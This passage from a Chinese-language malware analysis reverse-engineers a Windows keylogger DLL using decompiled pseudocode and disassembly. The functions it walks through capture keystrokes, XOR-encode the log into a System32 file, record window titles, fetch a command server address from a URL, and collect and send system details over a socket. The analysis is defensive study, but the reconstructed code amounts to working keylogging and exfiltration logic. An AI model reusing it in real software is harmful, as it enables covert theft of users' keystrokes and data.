        if ( v4 == 8 ) // 如果是退格键
        {
            lstrcatA(String, aBackspace); // 添加退格字符到String数组
            sub_10005DF0(String); // 发送String数组的内容
        }
        else if ( lstrlenA(String) <= 550 ) // 如果String数组的长度小于或等于550
        {
            if ( v4 != 13 ) // 如果不是回车键
            {
                if ( v6 % 2 == 1 ) // 如果v8数组中的值是奇数
                {
                    lstrcatA(String, off_1001B360[v2]); // 添加大写字母到String数组
                }
                else if ( !(v6 % 2) ) // 如果v8数组中的值是偶数
                {
                    lstrcatA(String, off_1001B1CC[v2]); // 添加小写字母到String数组
                }
            }
            else // 如果是回车键
            {
                lstrcatA(String, aEnter); // 添加回车字符到String数组
                sub_10005DF0(String); // 发送String数组的内容
            }
        }
        else // 如果String数组的长度超过550
        {
            sub_10005DF0(String); // 发送String数组的内容
        }
        memset(String, 0, sizeof(String)); // 清空String数组
    }
}
else // 如果v4指定的键被按下
{
    // ...代码处理按键按下的情况...
}

按键活动处理

  • 当检测到一个键从按下状态变为未按下状态时,函数会检查v8数组中对应键码v4的值。
  • 如果该值非零,表示之前这个键被按下过。
  • 如果是退格键(键码8),函数会添加一个表示退格的字符串到String数组,并调用sub_10005DF0来处理String数组的内容。
  • 对于回车键(键码13),函数会添加一个表示回车的字符串到String数组,并调用sub_10005DF0来处理String数组的内容。
  • 对于其他键,函数会根据v8数组中的值(奇数或偶数)来决定添加大写字母还是小写字母到String数组。

大写锁定和Shift键处理

  • 如果大写锁定(Caps Lock)被激活,且Shift键未被按下,且按键是字母键,则函数会根据这些条件来决定是添加大写字母还是小写字母到String数组。
  • v8数组的值会根据大写锁定和Shift键的状态来更新。

字符串发送

  • 如果String数组的长度超过了一定的限制(例如550),或者按键活动已经被处理(如回车键),函数会调用sub_10005DF0来发送或记录String数组中的内容。

分析一下sub_10005DF0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
BOOL __cdecl sub_10005DF0(LPCSTR lpString)
{
    HANDLE FileA; // ebp
    int v2; // esi
    _BYTE *v3; // eax
    const void *v4; // edi
    const CHAR *v5; // ecx
    int v6; // eax
    DWORD NumberOfBytesWritten; // [esp+10h] [ebp-108h] BYREF
    CHAR Buffer[260]; // [esp+14h] [ebp-104h] BYREF
 
    GetSystemDirectoryA(Buffer, 0x104u); // 获取系统目录路径
    strcat(Buffer, asc_1001B83C);   // 追加'\'
    strcat(Buffer, aWindows);   // 追加'Windows'
    strcat(Buffer, aKey);   // 追加'.key'
    // 创建文件
    // C:\Windows\System32\Windows.key
    FileA = CreateFileA(Buffer, 0x40000000u, 2u, 0, 4u, 0x80u, 0);
    NumberOfBytesWritten = 0;
    // GetFileSize检查文件大小,如果小于50MB(0x3200000字节)
    // SetFilePointer将文件指针移动到文件末尾,准备追加数据
    if ( GetFileSize(FileA, 0) < 0x3200000 )
        SetFilePointer(FileA, 0, 0, 2u);
    // 计算传入的string参数长度,new一个空间
    v2 = lstrlenA(lpString);
    v3 = operator new(v2);
    v4 = v3;
    if ( v2 > 0 )
    {
        // 参数字符串与新开辟的字符串内存地址偏移
        v5 = (const CHAR *)(lpString - v3);
        do
            {
                // 利用v3指针与偏移,提取处理后的lpstring数据到v3内存
                // lpstring每一位与0x62进行异或操作
                *v3 = v3[(_DWORD)v5] ^ 0x62;
                ++v3;
                --v2;
            }
            while ( v2 );
    }
    v6 = lstrlenA(lpString);
    // 将异或后的数据写入Windows.key文件
    WriteFile(FileA, v4, v6, &NumberOfBytesWritten, 0);
    return CloseHandle(FileA);
}

迭代收尾

在开始循环迭代虚拟键码前,还有一个迭代的收尾处理。如果string在最后仍然非空(程序键码超出101,仍有一些收集的字符残留在string中),就会进入sub_10005F30,在其中记新系统时间,并且保存剩下的字母(还会判断一下当前前台窗口的标题是否是上一次存放的标题,如果不是,就说明下一个迭代周期,键盘记录程序已经在记录别的窗口的键盘信息了)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 程序末尾
LABEL_35:
if ( ++v2 >= 101 )
    goto LABEL_3;
}
 
LABEL_3:
Sleep(0xAu);                                // 线程暂停10ms
if ( lstrlenA(String) )                     // 检查string长度
{
    if ( sub_10005F30() )                     // string非空调用
    {
        SaveStrToLocalFile(asc_1001B9C0);
        SaveStrToLocalFile(String);
    }
    else
    {
        SaveStrToLocalFile(String);
    }
    memset(String, 0, sizeof(String));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int sub_10005F30()
{
  int v0; // esi
  struct _SYSTEMTIME SystemTime; // [esp+8h] [ebp-410h] BYREF
  CHAR String[1021]; // [esp+18h] [ebp-400h] BYREF
  __int16 v4; // [esp+415h] [ebp-3h]
  char v5; // [esp+417h] [ebp-1h]
 
  memset(::String, 0, sizeof(::String));
  dword_10022A10 = (int)GetForegroundWindow();
  GetWindowTextA((HWND)dword_10022A10, ::String, 1024);
  memset(String, 0, sizeof(String));
  v0 = 0;
  v4 = 0;
  v5 = 0;
  if ( dword_10022A10 != dword_1002260C )
  {
    if ( lstrlenA(::String) > 0 )
    {
      GetLocalTime(&SystemTime);
      wsprintfA(
        String,
        asc_1001B97C,
        ::String,
        SystemTime.wYear,
        SystemTime.wMonth,
        SystemTime.wDay,
        SystemTime.wHour,
        SystemTime.wMinute,
        SystemTime.wSecond);
      SaveStrToLocalFile(String);
      memset(::String, 0, sizeof(::String));
      v0 = 1;
    }
    dword_1002260C = dword_10022A10;
  }
  return v0;
}

信息调度与处理

查看.key的交叉引用,查看哪里还使用了这个Windows.key文件,定位到sub_10006250
image.png
这是一个比较大只,头重脚轻的函数
image.png

sub_100034D0(通用数据发送接口)

首先调用了sub_100034D0,传入的参数是传入sub_10006250的第一个参数,类型为HANDLE,还有int值8025

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:10006250 81 EC 0C 02 00 00             sub     esp, 20Ch
.text:10006256 53                            push    ebx
.text:10006257 55                            push    ebp
.text:10006258 56                            push    esi
.text:10006259 57                            push    edi
.text:1000625A 8B E9                         mov     ebp, ecx
.text:1000625C 81 EC 20 06 00 00             sub     esp, 620h
.text:10006262 B9 88 01 00 00                mov     ecx, 188h
.text:10006267 8D B4 24 40 08 00 00          lea     esi, [esp+83Ch+arg_0]
.text:1000626E 8B FC                         mov     edi, esp
.text:10006270 68 59 1F 00 00                push    1F59h
.text:10006275 F3 A5                         rep movsd
.text:10006277 8B CD                         mov     ecx, ebp
.text:10006279 89 AC 24 34 06 00 00          mov     [esp+840h+var_20C], ebp
.text:10006280 E8 4B D2 FF FF                call    sub_100034D0

可以看到,传了edi和1F59h的参数,跟进sub_100034D0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
.text:100034D0 81 EC EC 01 00 00             sub     esp, 1ECh
.text:100034D6 53                            push    ebx
.text:100034D7 55                            push    ebp
.text:100034D8 56                            push    esi
.text:100034D9 57                            push    edi
.text:100034DA 8B D9                         mov     ebx, ecx
.text:100034DC E8 4F 03 00 00                call    sub_10003830
.text:100034DC
.text:100034E1 8D 7B 04                      lea     edi, [ebx+4]
.text:100034E4 B9 88 01 00 00                mov     ecx, 188h
.text:100034E9 8D B4 24 04 02 00 00          lea     esi, [esp+1FCh+arg_4]
.text:100034F0 8D 43 38                      lea     eax, [ebx+38h]
.text:100034F3 F3 A5                         rep movsd
.text:100034F5 8D B3 2C 06 00 00             lea     esi, [ebx+62Ch]
.text:100034FB 50                            push    eax                             ; lpString2
.text:100034FC 56                            push    esi                             ; lpString1
.text:100034FD FF 15 2C 52 01 10             call    ds:lstrcpyA
.text:100034FD
.text:10003503 8B 4B 10                      mov     ecx, [ebx+10h]
.text:10003506 8D BB 38 01 00 00             lea     edi, [ebx+138h]
.text:1000350C 57                            push    edi                             ; lpString
.text:1000350D 89 8B 30 07 00 00             mov     [ebx+730h], ecx
.text:10003513 FF 15 34 52 01 10             call    ds:lstrlenA
.text:10003513
.text:10003519 85 C0                         test    eax, eax
.text:1000351B 74 08                         jz      short loc_10003525
.text:1000351B
.text:1000351D 57                            push    edi
.text:1000351E 8B CB                         mov     ecx, ebx
.text:10003520 E8 AB 00 00 00                call    sub_100035D0
.text:10003520
.text:10003525
.text:10003525                               loc_10003525:                           ; CODE XREF: sub_100034D0+4B↑j
.text:10003525 8B 2D 00 52 01 10             mov     ebp, ds:GetTickCount
.text:1000352B FF D5                         call    ebp ; GetTickCount
.text:1000352B
.text:1000352D 8B 93 30 07 00 00             mov     edx, [ebx+730h]
.text:10003533 8B CB                         mov     ecx, ebx
.text:10003535 52                            push    edx                             ; hostshort
.text:10003536 56                            push    esi                             ; lpString2
.text:10003537 89 44 24 18                   mov     [esp+204h+var_1EC], eax
.text:1000353B E8 A0 0B 00 00                call    sub_100040E0
.text:1000353B
.text:10003540 85 C0                         test    eax, eax
.text:10003542 89 83 24 06 00 00             mov     [ebx+624h], eax
.text:10003548 75 0D                         jnz     short loc_10003557
.text:10003548
.text:1000354A 5F                            pop     edi
.text:1000354B 5E                            pop     esi
.text:1000354C 5D                            pop     ebp
.text:1000354D 5B                            pop     ebx
.text:1000354E 81 C4 EC 01 00 00             add     esp, 1ECh
.text:10003554 C2 24 06                      retn    624h
.text:10003554
.text:10003557                               ; ---------------------------------------------------------------------------
.text:10003557
.text:10003557                               loc_10003557:                           ; CODE XREF: sub_100034D0+78↑j
.text:10003557 B9 78 00 00 00                mov     ecx, 78h ; 'x'
.text:1000355C 33 C0                         xor     eax, eax
.text:1000355E 8D 7C 24 1C                   lea     edi, [esp+1FCh+var_1E0]
.text:10003562 F3 AB                         rep stosd
.text:10003564 8B 84 24 00 02 00 00          mov     eax, [esp+1FCh+arg_0]
.text:1000356B 8B 8B 0C 05 00 00             mov     ecx, [ebx+50Ch]
.text:10003571 89 44 24 14                   mov     dword ptr [esp+1FCh+buf], eax
.text:10003575 89 4C 24 48                   mov     [esp+1FCh+var_1B4], ecx
.text:10003579 FF D5                         call    ebp ; GetTickCount
.text:10003579
.text:1000357B 8B 74 24 10                   mov     esi, [esp+1FCh+var_1EC]
.text:1000357F 8D 54 24 14                   lea     edx, [esp+1FCh+buf]
.text:10003583 2B C6                         sub     eax, esi
.text:10003585 8B CB                         mov     ecx, ebx
.text:10003587 50                            push    eax
.text:10003588 8D 43 04                      lea     eax, [ebx+4]
.text:1000358B 50                            push    eax
.text:1000358C 52                            push    edx
.text:1000358D E8 BE 09 00 00                call    sub_10003F50
.text:1000358D
.text:10003592 8D 44 24 14                   lea     eax, [esp+1FCh+buf]
.text:10003596 68 E8 01 00 00                push    1E8h
.text:1000359B 50                            push    eax
.text:1000359C E8 BF 30 00 00                call    sub_10006660
.text:1000359C
.text:100035A1 83 C4 08                      add     esp, 8
.text:100035A4 8D 4C 24 14                   lea     ecx, [esp+1FCh+buf]
.text:100035A8 68 E8 01 00 00                push    1E8h                            ; len
.text:100035AD 51                            push    ecx                             ; buf
.text:100035AE 8B CB                         mov     ecx, ebx
.text:100035B0 E8 BB 01 00 00                call    sub_10003770
.text:100035B0
.text:100035B5 5F                            pop     edi
.text:100035B6 5E                            pop     esi
.text:100035B7 5D                            pop     ebp
.text:100035B8 5B                            pop     ebx
.text:100035B9 81 C4 EC 01 00 00             add     esp, 1ECh
.text:100035BF C2 24 06                      retn    624h
.text:100035BF
.text:100035BF                               sub_100034D0 endp

先看第一个call,sub_10003830
里面调用了closesocket接口,看来主要是把收集到的信息socket发送出去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:10003830 56                            push    esi
.text:10003831 8B F1                         mov     esi, ecx
.text:10003833 8B 86 24 06 00 00             mov     eax, [esi+624h]
.text:10003839 85 C0                         test    eax, eax
.text:1000383B 74 11                         jz      short loc_1000384E
.text:1000383B
.text:1000383D 50                            push    eax                             ; s
.text:1000383E FF 15 40 54 01 10             call    ds:closesocket
.text:1000383E
.text:10003844 C7 86 24 06 00 00 00 00 00 00 mov     dword ptr [esi+624h], 0
.text:10003844
.text:1000384E
.text:1000384E                               loc_1000384E:                           ; CODE XREF: sub_10003830+B↑j
.text:1000384E 5E                            pop     esi
.text:1000384F C3                            retn
.text:1000384F
.text:1000384F                               sub_10003830 endp
1
2
3
4
5
6
7
8
9
10
11
12
int __thiscall sub_10003830(SOCKET *this)
{
  int result; // eax
 
  result = this[393];
  if ( result )
  {
    result = closesocket(this[393]);
    this[393] = 0;
  }
  return result;
}

在__thiscall调用约定中,ecx寄存器往往是存放this指针的,因此这里是传递了ecx的this指针给sub_10003830函数,this指针中可能注册了socket实例。

1
2
3
4
5
6
7
.text:100034D0 81 EC EC 01 00 00             sub     esp, 1ECh
.text:100034D6 53                            push    ebx
.text:100034D7 55                            push    ebp
.text:100034D8 56                            push    esi
.text:100034D9 57                            push    edi
.text:100034DA 8B D9                         mov     ebx, ecx
.text:100034DC E8 4F 03 00 00                call    sub_10003830

会检查this指针第394位,若非空,则关闭socket,再置空,可能是标志位,或者是socket存储位置,判断此刻socket非空,就释放。这个函数位于最前面,应该是为后续操作清除资源做初始化操作。
调用lstrcpyA将传入的对象中成员进行复制,以及赋值

1
2
3
4
sub_10003830();
qmemcpy((void *)(a1 + 4), &a3, 0x620u);
lstrcpyA((LPSTR)(a1 + 1580), (LPCSTR)(a1 + 56));
*(_DWORD *)(a1 + 1840) = *(_DWORD *)(a1 + 16);

LPCSTR 通常用于 Windows API 中,表示一个指向以 null 结尾的字符数组(即 C 风格字符串)的指针。所以这里是指向a1向后的312位偏移处,这里存放一个指向字符数组的指针。如果这个字符数组不为空,则调用sub_100035D0

1
2
if ( lstrlenA((LPCSTR)(a1 + 312)) )
    sub_100035D0(a1 + 312);

跟进,分析在注释里。sub_100035D0函数作用为从web获取临时文件数据,并从中解析URL信息,于是重命名为ParseWebTmpFileInfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
int __thiscall ParseWebTmpFileInfo(int this, const char *a2)
{
  int v3; // eax
  int result; // eax
  HANDLE FileA; // eax
  void *v6; // edi
  unsigned int FileSize; // ebp
  void *v8; // esi
  PSTR v9; // eax
  PSTR v10; // eax
  PSTR v11; // eax
  PSTR v12; // edi
  DWORD CurrentThreadId; // [esp-4h] [ebp-518h]
  DWORD NumberOfBytesRead; // [esp+Ch] [ebp-508h] BYREF
  CHAR Buffer[257]; // [esp+10h] [ebp-504h] BYREF
  __int16 v16; // [esp+111h] [ebp-403h]
  char v17; // [esp+113h] [ebp-401h]
  CHAR szUrl[1021]; // [esp+114h] [ebp-400h] BYREF
  __int16 v19; // [esp+511h] [ebp-3h]
  char v20; // [esp+513h] [ebp-1h]
 
  memset(szUrl, 0, sizeof(szUrl));
  v19 = 0;
  v20 = 0;
  wsprintfA(szUrl, "http://%s", a2);            // 构建URL
  memset(Buffer, 0, sizeof(Buffer));
  v16 = 0;
  v17 = 0;
  GetTempPathA(0xFAu, Buffer);                  // 获取系统临时文件夹的路径
  CurrentThreadId = GetCurrentThreadId();       // 获取当前线程的ID
  v3 = lstrlenA(Buffer);
  wsprintfA(&Buffer[v3], "%08x.txt", CurrentThreadId);// 构建一个临时文件名,TID.txt
  result = DownloadData2FileFromUrl(szUrl, Buffer);// 从URL下载数据到临时文件
  if ( result )
  {
    FileA = CreateFileA(Buffer, 0x80000000, 1u, 0, 3u, 0x80u, 0);
    v6 = FileA;
    if ( FileA == (HANDLE)-1 )
    {
      return 0;
    }
    else
    {
      NumberOfBytesRead = 0;
      FileSize = GetFileSize(FileA, 0);
      v8 = operator new(FileSize);
      ReadFile(v6, v8, FileSize, &NumberOfBytesRead, 0);// 把临时文件数据写入内存
      CloseHandle(v6);
      DeleteFileA(Buffer);                      // 写入内存之后就删了临时文件
      v9 = StrChrA((PCSTR)v8, 0xDu);            // 回车,CR,13
      if ( v9 )                                 // 置空
        *v9 = 0;
      v10 = StrChrA((PCSTR)v8, 0xAu);           // 换行,LF,10
      if ( v10 )                                // 置空
        *v10 = 0;
      v11 = StrChrA((PCSTR)v8, 0x3Au);          // 冒号,58
      v12 = v11;
      if ( v11 )
      {
        *v11 = 0;
        lstrcpyA((LPSTR)(this + 1580), (LPCSTR)v8);// 如果找到冒号,分割字符串并将前半部分复制到this+1580的位置
        *(_DWORD *)(this + 1840) = StrToIntA(v12 + 1);// 将冒号后的字符串(端口)转换为整数并存储到this+1840的位置
      }
      else
      {
        lstrcpyA((LPSTR)(this + 1580), (LPCSTR)v8);// 如果没有找到冒号,只复制字符串并设置默认端口80
        *(_DWORD *)(this + 1840) = 80;
      }
      operator delete(v8);                      // 关闭内存
      return 1;
    }
  }
  return result;
}

跟进sub_100064C0,重命名为DownloadData2FileFromUrl。该函数主要作用是从url下载数据到临时文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
int __cdecl sub_100064C0(LPCSTR lpszUrl, LPCSTR lpFileName)
{
  void *v2; // ebp
  void *v3; // esi
  HANDLE FileA; // edi
  int v6; // ebx
  DWORD dwNumberOfBytesRead; // [esp+10h] [ebp-1218h] BYREF
  int v8; // [esp+14h] [ebp-1214h]
  HINTERNET hInternet; // [esp+18h] [ebp-1210h]
  DWORD dwBufferLength; // [esp+1Ch] [ebp-120Ch] BYREF
  DWORD dwIndex; // [esp+20h] [ebp-1208h] BYREF
  DWORD NumberOfBytesWritten; // [esp+24h] [ebp-1204h] BYREF
  _BYTE String2[253]; // [esp+28h] [ebp-1200h] BYREF
  __int16 v14; // [esp+125h] [ebp-1103h]
  char v15; // [esp+127h] [ebp-1101h]
  CHAR Buffer[253]; // [esp+128h] [ebp-1100h] BYREF
  __int16 v17; // [esp+225h] [ebp-1003h]
  char v18; // [esp+227h] [ebp-1001h]
  char v19[4096]; // [esp+228h] [ebp-1000h] BYREF
 
  v2 = InternetOpenA(pszSubKey, 0, 0, 0, 0);
  hInternet = v2;
  if ( !v2 )
    return 0;
  v3 = InternetOpenUrlA(v2, lpszUrl, 0, 0, 0x80000100, 0);
  if ( !v3 )
  {
    InternetCloseHandle(v2);
    return 0;
  }
  memset(Buffer, 0, sizeof(Buffer));
  memset(&String2[1], 0, 0xFCu);
  v14 = 0;
  v15 = 0;
  v17 = 0;
  v18 = 0;
  qmemcpy(String2, "200", 3);
  dwBufferLength = 250;
  dwIndex = 0;
  if ( !HttpQueryInfoA(v3, 0x13u, Buffer, &dwBufferLength, &dwIndex)
    || lstrcmpA(Buffer, String2)
    || (FileA = CreateFileA(lpFileName, 0x40000000u, 0, 0, 1u, 0x80u, 0), FileA == (HANDLE)-1) )
  {
    InternetCloseHandle(v3);
    InternetCloseHandle(v2);
    return 0;
  }
  v8 = 0;
  dwNumberOfBytesRead = 0;
  NumberOfBytesWritten = 0;
  while ( InternetReadFile(v3, v19, 0xFA0u, &dwNumberOfBytesRead) )
  {
    if ( !dwNumberOfBytesRead )
    {
      v6 = 1;
      goto LABEL_13;
    }
    WriteFile(FileA, v19, dwNumberOfBytesRead, &NumberOfBytesWritten, 0);
  }
  v6 = v8;
LABEL_13:
  CloseHandle(FileA);
  InternetCloseHandle(v3);
  InternetCloseHandle(hInternet);
  return v6;
}

回到sub_100034D0,提取出信息存储到this对象之后,生成计数器,然后调用sub_100040E0,这里两个参数分别是提取的URL和端口

1
2
TickCount = GetTickCount();
result = sub_100040E0((LPCSTR)(a1 + 1580), *(_DWORD *)(a1 + 1840));

经过分析,sub_100040E0的作用是根据URL和端口创建socket并且发起通信,一切成功则返回套接字描述符,因此重命名为SocketConnect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
struct hostent *__stdcall SocketConnect(LPCSTR lpString2, u_short hostshort)
{
  struct hostent *result; // eax
  unsigned int h_length; // ecx
  const void **h_addr_list; // eax
  const void *v5; // esi
  char *v6; // eax
  SOCKET v7; // eax
  SOCKET v8; // esi
  char v9[4]; // [esp+10h] [ebp-12Ch] BYREF
  struct sockaddr name; // [esp+14h] [ebp-128h] BYREF
  char optval[4]; // [esp+24h] [ebp-118h] BYREF
  struct in_addr in[3]; // [esp+2Ah] [ebp-112h] BYREF
  __int16 v13; // [esp+36h] [ebp-106h]
  CHAR String1[257]; // [esp+38h] [ebp-104h] BYREF
  __int16 v15; // [esp+139h] [ebp-3h]
  char v16; // [esp+13Bh] [ebp-1h]
 
  memset(String1, 0, sizeof(String1));
  v15 = 0;
  memset(&name, 0, sizeof(name));
  v16 = 0;
  lstrcpyA(String1, lpString2);                 // 追加url
  if ( inet_addr(String1) == -1 )               // winsock2函数,转换为网络地址
  {
    result = gethostbyname(String1);            // winsock函数,转换失败的话,根据域名解析IP地址
    if ( !result )
      return result;
    h_length = result->h_length;
    h_addr_list = (const void **)result->h_addr_list;
    memset(in, 0, sizeof(in));
    v5 = *h_addr_list;
    v13 = 0;
    qmemcpy(&in[0].S_un.S_un_w.s_w2, v5, h_length);
    v6 = inet_ntoa(*(struct in_addr *)&in[0].S_un.S_un_w.s_w2);
    lstrcpyA(String1, v6);                      // 处理地址之后存放入string1
  }
  *(_DWORD *)&name.sa_data[2] = inet_addr(String1);// 源地址
  *(_WORD *)name.sa_data = htons(hostshort);    // 源端口
  name.sa_family = 2;                           // 协议族
  v7 = socket(2, 1, 0);                         // 创建socket
  v8 = v7;
  if ( v7 == -1 )
    return 0;
  if ( connect(v7, &name, 16) == -1 || (*(_DWORD *)optval = 1, setsockopt(v8, 6, 1, optval, 4)) )// 发起socket通信
  {
    closesocket(v8);
    return 0;
  }
  else
  {
    *(_DWORD *)v9 = 1;
    if ( setsockopt(v8, 0xFFFF, 8, v9, 4)
      || (*(_DWORD *)v9 = 3600000, setsockopt(v8, 0xFFFF, 4102, v9, 4))
      || (*(_DWORD *)v9 = 3600000, setsockopt(v8, 0xFFFF, 4101, v9, 4)) )
    {
      closesocket(v8);
      return 0;
    }
    else
    {
      return (struct hostent *)v8;              // 返回套接字描述符
    }
  }
}

回到100034D0,如果result返回了套接字描述符,则注册到this对象1572偏移处,并且调用sub_10003F50、sub_10006660与sub_10003770函数

1
2
3
4
5
6
7
8
9
10
11
12
13
*(_DWORD *)(a1 + 1572) = result;
if ( result )
{
    memset(v70, 0, sizeof(v70));
    v66 = *(_DWORD *)(a1 + 1292);
    *(_DWORD *)buf = a2;
    v70[11] = v66;
    v67 = GetTickCount();
    sub_10003F50(buf, a1 + 4, v67 - TickCount);
    sub_10006660(buf, 488);
    return sub_10003770(buf, 488);
}
return result;

首先跟进sub_10003F50,整体是获取系统信息的作用,改名为GetSysInfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
UINT __thiscall GetSysInfo(_DWORD *this, int a2, int a3, int a4)
{
  int v5; // eax
  DWORD dwNumberOfProcessors; // ecx
  int ullTotalPhys_high; // ecx
  UINT result; // eax
  SOCKET v9; // [esp-Ch] [ebp-98h]
  DWORD nSize; // [esp+10h] [ebp-7Ch] BYREF
  int namelen; // [esp+14h] [ebp-78h] BYREF
  struct sockaddr name; // [esp+18h] [ebp-74h] BYREF
  struct _SYSTEM_INFO SystemInfo; // [esp+28h] [ebp-64h] BYREF
  struct _MEMORYSTATUSEX Buffer; // [esp+4Ch] [ebp-40h] BYREF
 
  SystemInfo.dwOemId = 0;
  *(_DWORD *)(a2 + 44) = sub_100042F0();
  *(_DWORD *)(a2 + 8) = 808464432;
  *(_DWORD *)(a2 + 12) = 808464432;
  memset(&SystemInfo.dwPageSize, 0, 0x20u);
  GetSystemInfo(&SystemInfo);                   // 获取系统信息systeminfo结构体指针
  v5 = sub_100043D0(this);                      //  获取系统信息,存储入this对象
  dwNumberOfProcessors = SystemInfo.dwNumberOfProcessors;
  *(_DWORD *)(a2 + 16) = v5;
  *(_DWORD *)(a2 + 48) = dwNumberOfProcessors;
  memset(&Buffer.dwMemoryLoad, 0, 0x3Cu);
  Buffer.dwLength = 64;
  GlobalMemoryStatusEx(&Buffer);
  ullTotalPhys_high = HIDWORD(Buffer.ullTotalPhys);
  *(_DWORD *)(a2 + 24) = Buffer.ullTotalPhys;
  *(_DWORD *)(a2 + 28) = ullTotalPhys_high;
  nSize = 16;
  RegTableOperation(HKEY_CURRENT_USER, aSoftwareLimit, ValueName, 1u, (LPSTR)(a2 + 228), 0, 128, 0);// 查询修改注册表信息
  if ( !lstrlenA((LPCSTR)(a2 + 228)) )
    GetComputerNameA((LPSTR)(a2 + 228), &nSize);// 获取主机名称
  *(_DWORD *)(a2 + 40) = (char)sub_10004760(this);
  lstrcpyA((LPSTR)(a2 + 100), (LPCSTR)(a3 + 564));
  *(_DWORD *)(a2 + 64) = *(_DWORD *)(a3 + 1292);
  *(_DWORD *)(a2 + 68) = *(_DWORD *)(a3 + 1296);
  *(_DWORD *)(a2 + 72) = *(_DWORD *)(a3 + 1300);
  *(_DWORD *)(a2 + 76) = *(_DWORD *)(a3 + 1304);
  lstrcpyA((LPSTR)(a2 + 356), (LPCSTR)(a3 + 996));
  lstrcpyA((LPSTR)(a2 + 420), (LPCSTR)(a3 + 964));
  memset(&name, 0, sizeof(name));
  v9 = this[393];                               // 从this对象获取sock值
  namelen = 16;
  getsockname(v9, &name, &namelen);
  *(_DWORD *)(a2 + 56) = *(_DWORD *)&name.sa_data[2];// 注册到a2中
  *(_DWORD *)(a2 + 60) = a4;
  *(_DWORD *)(a2 + 32) = GetACP();
  result = GetOEMCP();
  *(_DWORD *)(a2 + 36) = result;
  return result;
}

重点关注:sub_10003AC0,对注册表操作,传入的参数为HKEY_CURRENT_USER, "Software\limit", "Host"等,提取出来的关键代码完整流程(省略了一大部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 注册表操作,HKEY_CURRENT_USER, "Software\limit", "Host", 1u, (LPSTR)(a2 + 228), 0, 128, 0
// 查询当前用户下,Software\limit下Host记录的值,并追加到this对象中
int RegTableOperation(
        HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName,
        DWORD Type, LPSTR lpString1, LPBYTE lpData,
        int a7, int a8)
{
    HKEY phkResult; // 存储打开的键的句柄
    DWORD cbData; // 存储数据大小
    BYTE Data[260]; // 存储注册表值的数据
    int v21 = 0; // 存储函数的返回状态
 
    // 尝试打开注册表键
    if (RegOpenKeyExA(hKey, lpSubKey, 0, KEY_QUERY_VALUE, &phkResult) != ERROR_SUCCESS)
    {
        v21 = -1;
    }
    else
    {
        // 查询字符串类型的值
        cbData = 260;
        if (RegQueryValueExA(phkResult, lpValueName, 0, NULL, Data, &cbData) == ERROR_SUCCESS)
        {
            // 将查询到的字符串复制到指定的缓冲区
            strcpy(lpString1, (const char *)Data);
            v21 = 1;
        }
    }
 
    // 关闭打开的注册表键
    RegCloseKey(phkResult);
    return v21; // 返回操作状态
}

sub_10006660起到一个异或加密的作用

1
2
3
4
5
6
7
8
unsigned int __cdecl sub_10006660(int a1, unsigned int a2)
{
  unsigned int result; // eax
 
  for ( result = 0; result < a2; ++result )
    *(_BYTE *)(result + a1) = (*(_BYTE *)(result + a1) ^ 0x96) + 35;
  return result;
}

sub_10003770中send了套接字消息,重命名为SocketSend

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __thiscall SocketSend(SOCKET *this, char *buf, unsigned int len)
{
  unsigned int v5; // ebx
  int v6; // edi
  int v8; // eax
 
  v5 = 0;
  v6 = len;
  if ( !this[393] )
    return 0;
  if ( len )
  {
    while ( 1 )
    {
      v8 = send(this[393], buf, v6, 0);
      if ( v8 <= 0 )
        break;
      v5 += v8;
      buf += v8;
      v6 -= v8;
      if ( v5 >= len )
        return 1;
    }
    return 0;
  }
  return 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __userpurge sub_100034D0@<eax>(
        int a1@<ecx>,
        int a2,
        ......
        int a63)
{
  int result; // eax
  int v66; // ecx
  DWORD v67; // eax
  DWORD TickCount; // [esp+10h] [ebp-1ECh]
  char buf[4]; // [esp+14h] [ebp-1E8h] BYREF
  int v70[120]; // [esp+1Ch] [ebp-1E0h] BYREF
 
  sub_10003830();
  qmemcpy((void *)(a1 + 4), &a3, 0x620u);
  lstrcpyA((LPSTR)(a1 + 1580), (LPCSTR)(a1 + 56));
  *(_DWORD *)(a1 + 1840) = *(_DWORD *)(a1 + 16);
  if ( lstrlenA((LPCSTR)(a1 + 312)) )
    ParseWebTmpFileInfo(a1 + 312);
  TickCount = GetTickCount();
